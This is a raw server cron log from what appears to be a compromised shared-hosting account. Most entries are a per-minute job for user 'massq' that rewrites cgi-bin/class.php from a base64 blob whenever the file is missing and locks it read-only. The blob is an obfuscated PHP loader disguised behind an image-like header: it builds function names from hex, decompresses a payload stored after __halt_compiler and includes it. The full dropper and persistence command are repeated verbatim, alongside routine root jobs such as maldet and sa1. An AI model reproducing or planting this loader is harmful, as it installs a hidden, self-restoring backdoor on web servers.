Nov 10 11:20:01 server CROND[17663]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:20:01 server CROND[17664]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 11:20:01 server CROND[17666]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 11:20:01 server CROND[17667]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 11:21:01 server CROND[18555]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:22:01 server CROND[19470]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:23:01 server CROND[20247]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:24:01 server CROND[20942]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:25:01 server CROND[21753]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 11:25:01 server CROND[21755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 11:25:01 server CROND[21754]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:26:01 server CROND[22630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:27:01 server CROND[23433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:27:01 server CROND[23434]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 11:28:01 server CROND[24351]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:29:01 server CROND[25176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:30:01 server CROND[25983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 11:30:01 server CROND[25984]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 11:30:01 server CROND[25985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 11:30:01 server CROND[25992]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:31:01 server CROND[26778]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:32:01 server CROND[27574]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
